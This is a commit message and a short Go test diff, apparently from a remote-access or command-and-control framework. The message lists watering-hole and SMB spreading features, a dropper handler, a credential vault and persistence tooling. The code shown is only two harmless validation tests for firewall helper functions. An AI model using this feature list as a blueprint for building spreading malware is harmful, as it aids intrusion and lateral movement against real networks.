feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/deploy/firewall_linux_ops_test.go

@@ -0,0 +1,22 @@
+//go:build linux
+
+package deploy
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestOpenFirewallPortInvalid(t *testing.T) {
+	_, err := OpenFirewallPort(0, "test")
+	if err == nil || !strings.Contains(err.Error(), "invalid port") {
+		t.Fatalf("expected invalid port error, got %v", err)
+	}
+}
+
+func TestRemoveFirewallRuleByNameEmpty(t *testing.T) {
+	_, err := RemoveFirewallRuleByName("")
+	if err == nil || !strings.Contains(err.Error(), "rule name required") {
+		t.Fatalf("expected rule name error, got %v", err)
+	}
+}